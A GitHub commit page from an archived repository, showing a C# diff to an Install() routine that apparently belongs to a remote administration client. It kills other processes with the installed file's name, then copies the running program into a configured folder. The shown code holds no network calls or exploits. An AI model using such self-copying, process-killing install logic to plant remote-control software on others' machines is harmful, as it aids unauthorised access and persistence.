Skip to content
This repository has been archived by the owner on Mar 17, 2024. It is now read-only.

Commit

Permalink
Fixed update when new mutex is used
Browse files Browse the repository at this point in the history
- hardened installation
  • Loading branch information
MaxXor committed Aug 10, 2014
1 parent 42abb29 commit 9d89f1c
Showing 1 changed file with 28 additions and 1 deletion.
29 changes: 28 additions & 1 deletion Client/Core/SystemCore.cs
Original file line number Diff line number Diff line change
Expand Up @@ -306,13 +306,40 @@ private static bool IsUserIdle()

public static void Install()
{
bool isKilled = false;

// create target dir
if (!Directory.Exists(Path.Combine(Settings.DIR, Settings.SUBFOLDER)))
Directory.CreateDirectory(Path.Combine(Settings.DIR, Settings.SUBFOLDER));

// delete existing file
if (File.Exists(SystemCore.InstallPath))
File.Delete(SystemCore.InstallPath);
{
try
{
File.Delete(SystemCore.InstallPath);
}
catch (Exception ex)
{
if (ex is IOException || ex is UnauthorizedAccessException)
{
// kill old process if new mutex
Process[] foundProcesses = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(InstallPath));
int myPid = Process.GetCurrentProcess().Id;
foreach (var prc in foundProcesses)
{
if (prc.Id != myPid)
{
prc.Kill();
isKilled = true;
}
}
}
}
}

if (isKilled)
Thread.Sleep(5000);

//copy client to target dir
File.Copy(SystemCore.MyPath, SystemCore.InstallPath, true);
Expand Down

0 comments on commit 9d89f1c

Please sign in to comment.